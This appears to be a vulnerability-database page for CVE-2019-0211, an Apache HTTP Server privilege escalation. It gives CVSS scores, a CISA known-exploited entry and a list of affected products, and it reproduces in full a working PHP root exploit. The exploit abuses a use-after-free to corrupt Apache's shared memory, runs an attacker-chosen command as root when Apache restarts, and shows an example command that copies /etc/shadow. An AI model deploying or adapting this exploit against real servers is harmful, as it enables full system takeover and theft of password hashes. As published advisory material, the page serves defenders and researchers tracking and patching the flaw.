Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-416 |
Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Apache HTTP Server Privilege Escalation Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2021-11-02 23h00 +00:00
Action is due : 2022-05-02 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 46676
Publication date : 2019-04-07 22h00 +00:00
Author : cfreal
EDB Verified : No
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W --% S F
# 5 87% 177 26 (default)
# 8 89% 60 8
# 10 95% 70 4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#
o('CARPE (DIEM) ~ CVE-2019-0211');
o('');
error_reporting(E_ALL);
# Starts the exploit by triggering the UAF.
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
# replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
# end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
# y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
# especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
# mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
# function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
# bucket
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
#
# Setup memory
#
o('Triggering UAF');
o(' Creating room and filling empty spaces');
# Fill empty blocks to make sure our allocations will be contiguous
# I: Since a lot of allocations/deallocations happen before the script
# is ran, two variables instanciated at the same time might not be
# contiguous: this can be a problem for a lot of reasons.
# To avoid this, we instanciate several DateInterval objects. These
# objects will fill a lot of potentially non-contiguous memory blocks,
# ensuring we get "fresh memory" in upcoming allocations.
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
# Create some space for our UAF blocks not to get overwritten
# I: A PHP object is a combination of a lot of structures, such as
# zval, zend_object, zend_object_handlers, zend_string, etc., which are
# all allocated, and freed when the object is destroyed.
# After the UAF is triggered on the object, all the structures that are
# used to represent it will be marked as free.
# If we create other variables afterwards, those variables might be
# allocated in the object's previous memory regions, which might pose
# problems for the rest of the exploitation.
# To avoid this, we allocate a lot of objects before the UAF, and free
# them afterwards. Since PHP's heap is LIFO, when we create other vars,
# they will take the place of those objects instead of the object we
# are triggering the UAF on. This means our object is "shielded" and
# we don't have to worry about breaking it.
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
# Build string meant to fill old DateInterval's timelib_rel_time
# I: ptr2str's name is unintuitive here: we just want to allocate a
# zend_string of size 78.
$_protector = ptr2str(0, 78);
o(' Allocating $abc and $p');
# Create ABC
# I: This is the variable we will use to R/W memory afterwards.
# After we free the Z object, we'll make sure abc is overwritten by a
# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
# of this structure can be modified easily, meaning we can change the
# size of abc. This will allow us to read/write memory after abc.
$this->abc = ptr2str(0, 79);
# Create $p meant to protect $this's blocks
# I: Right after we trigger the UAF, we will unset $p.
# This means that the timelib_rel_time structure (TRT) of this object
# will be freed. We will then allocate a string ($protector) of the same
# size as TRT. Since PHP's heap is LIFO, the string will take the place
# of the now-freed TRT in memory.
# Then, we create a new DateInterval object ($x). From the same
# assumption, every structure constituting this new object will take the
# place of the previous structure. Nevertheless, since TRT's memory
# block has already been replaced by $protector, the new TRT will be put
# in the next free blocks of the same size, which happens to be $abc
# (remember, |abc| == |timelib_rel_time|).
# We now have the following situation: $x is a DateInterval object whose
# internal TRT structure has the same address as $abc's zend_string.
$p = new DateInterval('PT1S');
#
# Trigger UAF
#
o(' Unsetting both variables and setting $protector');
# UAF here, $this is usable despite being freed
unset($y[0]);
# Protect $this's freed blocks
unset($p);
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
# !!! This is only required for apache
# Got no idea as to why there is an extra deallocation (?)
$room[] = "!$_protector";
o(' Creating DateInterval object');
# After this line:
# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
# We can control the structure of $this->abc and therefore read/write
# anything that comes after it in memory by changing its size and
# making in-place edits using $this->abc[$position] = $char
$x = new DateInterval('PT1S');
# zend_string.refcount = 0
# It will get incremented at some point, and if it is > 1,
# zend_assign_to_string_offset() will try to duplicate it before making
# the in-place replacement
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
# Verify UAF was successful
# We modified stuff via $x; they should be visible by $this->abc, since
# they are at the same memory location.
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');
# Give us some room
# I: As indicated before, just unset a lot of stuff so that next allocs
# don't break our fragile UAFd structure.
unset($room);
#
# Setup the R/W primitive
#
# We control $abc's internal zend_string structure, therefore we can R/W
# the shared memory block (SHM), but for that we need to know the
# position of $abc in memory
# I: We know the absolute position of the SHM, so we need to need abc's
# as well, otherwise we cannot compute the offset
# Assuming the allocation was contiguous, memory looks like this, with
# 0x70-sized fastbins:
# [zend_string:abc]
# [zend_string:protector]
# [FREE#1]
# [FREE#2]
# Therefore, the address of the 2nd free block is in the first 8 bytes
# of the first block: 0x70 * 2 - 24
$address = str2ptr($this->abc, 0x70 * 2 - 24);
# The address we got points to FREE#2, hence we're |block| * 3 higher in
# memory
$address = $address - 0x70 * 3;
# The beginning of the string is 24 bytes after its origin
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
o('');
# Compute the size required for our string to include the whole SHM and
# apache's memory region
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) -
$address
;
$x->d = $distance;
# We can now read/write in the whole SHM and apache's memory region.
#
# Find all_buckets in memory
#
# We are looking for a structure s.t.
# |all_buckets, mutex| = 0x10
# |mutex, meth| = 0x8
# all_buckets is in apache's memory region
# mutex is in apache's memory region
# meth is in libaprR's memory region
# meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory');
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
if(!$all_buckets)
{
o('Unable to find all_buckets');
exit();
}
o('');
# The address of all_buckets will change when apache is gracefully
# restarted. This is a problem because we need to know all_buckets's
# address in order to make all_buckets[some_index] point to a memory
# region we control.
#
# Compute potential bucket indexes and their addresses
#
o('Computing potential bucket indexes and addresses');
# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
# with data we like. We keep the one at the top to store our payload.
# The rest is sprayed with the address of our payload.
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
# I get strange errors if I use every "free" item, so I leave twice as
# many items free. I'm guessing upon startup some
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
- ($all_buckets - $spray_middle) /
$size_prefork_child_bucket
);
#
# Build payload
#
# A worker_score structure was kept empty to put our payload in
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
# Offset 8 cannot be 0, but other than this you can type whatever
# command you want
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";
if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
# The second pointer points to meth, and is used before reaching the
# arbitrary function call
# The third one and the last one are both used by the function call
# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
$payload =
$bucket .
$meth .
$properties
;
# Write the payload
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
# Fill the spray area with a pointer to properties
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] -
$addresses['apache'][0]
));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');
# Find workers PID in the SHM: it indicates the beginning of their
# process_score structure. We can then change process_score.bucket to
# the index we computed. When apache reboots, it will use
# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
# which means we control the whole apr_proc_mutex_t structure.
# This structure contains pointers to multiple functions, especially
# mutex->meth->child_init(), which will be called before privileges
# are dropped.
# We do this for every worker PID, incrementing the bucket index so that
# we cover a bigger range.
o('Iterating in SHM to find PIDs...');
# Number of bucket indexes covered by our spray
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
# Number of bucket indexes covered by our spray and the PS structures
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
# First bucket index to handle
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
}
}
if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
}
}
function o($msg)
{
# No concatenation -> no string allocation
print($msg);
print("\n");
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$s-1;$j>=0;$j--)
{
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function in($i, $range)
{
return $i >= $range[0] && $i < $range[1];
}
/**
* Finds the offset of a symbol in a file.
*/
function find_symbol($file, $symbol)
{
$elf = file_get_contents($file);
$e_shoff = str2ptr($elf, 0x28);
$e_shentsize = str2ptr($elf, 0x3a, 2);
$e_shnum = str2ptr($elf, 0x3c, 2);
$dynsym_off = 0;
$dynsym_sz = 0;
$dynstr_off = 0;
for($i=0;$i<$e_shnum;$i++)
{
$offset = $e_shoff + $i * $e_shentsize;
$sh_type = str2ptr($elf, $offset + 0x04, 4);
$SHT_DYNSYM = 11;
$SHT_SYMTAB = 2;
$SHT_STRTAB = 3;
switch($sh_type)
{
case $SHT_DYNSYM:
$dynsym_off = str2ptr($elf, $offset + 0x18, 8);
$dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
break;
case $SHT_STRTAB:
case $SHT_SYMTAB:
if(!$dynstr_off)
$dynstr_off = str2ptr($elf, $offset + 0x18, 8);
break;
}
}
if(!($dynsym_off && $dynsym_sz && $dynstr_off))
exit('.');
$sizeof_Elf64_Sym = 0x18;
for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
{
$offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
$st_name = str2ptr($elf, $offset, 4);
if(!$st_name)
continue;
$offset_string = $dynstr_off + $st_name;
$end = strpos($elf, "\x00", $offset_string) - $offset_string;
$string = substr($elf, $offset_string, $end);
if($string == $symbol)
{
$st_value = str2ptr($elf, $offset + 0x8, 8);
return $st_value;
}
}
die('Unable to find symbol ' . $symbol);
}
# Obtains the addresses of the shared memory block and some functions through
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
$addresses = [];
$data = file_get_contents('/proc/self/maps');
$follows_shm = false;
foreach(explode("\n", $data) as $line)
{
if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if ($bounds[1] - $bounds[0] == 0x14000)
{
$addresses['shm'] = $bounds;
$follows_shm = true;
}
}
if(
preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'system');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['system'] = $line + $offset;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r-xp')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprX'] = $bounds;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r--p')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprR'] = $bounds;
}
# Apache's memory block is between the SHM and ld.so
# Sometimes some rwx region gets mapped; all_buckets cannot be in there
# but we include it anyways for the sake of simplicity
if(
(
strpos($line, 'rw-p') ||
strpos($line, 'rwxp')
) &&
$follows_shm
)
{
if(strpos($line, '/lib'))
{
$follows_shm = false;
continue;
}
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if(!array_key_exists('apache', $addresses))
$addresses['apache'] = $bounds;
else if($addresses['apache'][1] == $bounds[0])
$addresses['apache'][1] = $bounds[1];
else
$follows_shm = false;
}
if(
preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'zend_object_std_dtor');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['zend_object_std_dtor'] = $line + $offset;
}
}
$expected = [
'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
];
$missing = array_diff($expected, array_keys($addresses));
if($missing)
{
o(
'The following addresses were not determined by parsing ' .
'/proc/self/maps: ' . implode(', ', $missing)
);
exit(0);
}
o('PID: ' . getmypid());
o('Fetching addresses');
foreach($addresses as $k => $a)
{
if(!is_array($a))
$a = [$a];
o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
return '0x' . dechex($z);
}, $a)));
}
o('');
return $addresses;
}
# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
o('Obtaining apache workers PIDs');
$pids = [];
$cmd = file_get_contents('/proc/self/cmdline');
$processes = glob('/proc/*');
foreach($processes as $process)
{
if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
continue;
$pid = (int) $match[1];
if(
!is_readable($process . '/cmdline') ||
!is_readable($process . '/status')
)
continue;
if($cmd !== file_get_contents($process . '/cmdline'))
continue;
$status = file_get_contents($process . '/status');
foreach(explode("\n", $status) as $line)
{
if(
strpos($line, 'Uid:') === 0 &&
preg_match('#\b' . posix_getuid() . '\b#', $line)
)
{
o(' Found apache worker: ' . $pid);
$pids[$pid] = $pid;
break;
}
}
}
o('Got ' . sizeof($pids) . ' PIDs.');
o('');
return $pids;
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
Products Mentioned
Configuraton 0
Apache>>Http_server >> Version From (including) 2.4.17 To (including) 2.4.38
Configuraton 0
Fedoraproject>>Fedora >> Version 28
Fedoraproject>>Fedora >> Version 29
Fedoraproject>>Fedora >> Version 30
Configuraton 0
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 18.10
Configuraton 0
Debian>>Debian_linux >> Version 9.0
Configuraton 0
Opensuse>>Leap >> Version 15.0
Opensuse>>Leap >> Version 42.3
Configuraton 0
Netapp>>Oncommand_unified_manager >> Version -
Configuraton 0
Redhat>>Jboss_core_services >> Version 1.0
Redhat>>Openshift_container_platform >> Version 3.11
Redhat>>Openshift_container_platform_for_power >> Version 3.11_ppc64le
Redhat>>Software_collections >> Version 1.0
Redhat>>Enterprise_linux >> Version 8.0
Redhat>>Enterprise_linux_eus >> Version 8.1
Redhat>>Enterprise_linux_eus >> Version 8.2
Redhat>>Enterprise_linux_eus >> Version 8.4
Redhat>>Enterprise_linux_eus >> Version 8.6
Redhat>>Enterprise_linux_eus >> Version 8.8
Redhat>>Enterprise_linux_for_arm_64 >> Version 8.0_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.1_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.2_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.4_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.6_aarch64
Redhat>>Enterprise_linux_for_arm_64_eus >> Version 8.8_aarch64
Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 8.0_s390x
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.1_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.6_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x
- Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.8_s390x (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.6_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le
- Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.8_ppc64le (Open CPE detail)
Redhat>>Enterprise_linux_server_aus >> Version 8.2
Redhat>>Enterprise_linux_server_aus >> Version 8.4
Redhat>>Enterprise_linux_server_aus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 8.2
Redhat>>Enterprise_linux_server_tus >> Version 8.4
Redhat>>Enterprise_linux_server_tus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 8.8
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.0
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.0 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.1
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.1 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.4
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.4 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.6
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.6 (Open CPE detail)
Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.8
- Redhat>>Enterprise_linux_update_services_for_sap_solutions >> Version 8.8 (Open CPE detail)
Configuraton 0
Oracle>>Communications_session_report_manager >> Version 8.0.0
Oracle>>Communications_session_report_manager >> Version 8.1.0
Oracle>>Communications_session_report_manager >> Version 8.1.1
Oracle>>Communications_session_report_manager >> Version 8.2.0
Oracle>>Communications_session_route_manager >> Version 8.0.0
Oracle>>Communications_session_route_manager >> Version 8.1.0
Oracle>>Communications_session_route_manager >> Version 8.1.1
Oracle>>Communications_session_route_manager >> Version 8.2.0
Oracle>>Enterprise_manager_ops_center >> Version 12.3.3
Oracle>>Enterprise_manager_ops_center >> Version 12.4.0
Oracle>>Http_server >> Version 12.2.1.3.0
Oracle>>Instantis_enterprisetrack >> Version 17.1
Oracle>>Instantis_enterprisetrack >> Version 17.2
Oracle>>Instantis_enterprisetrack >> Version 17.3
Oracle>>Retail_xstore_point_of_service >> Version 7.0
Oracle>>Retail_xstore_point_of_service >> Version 7.1
References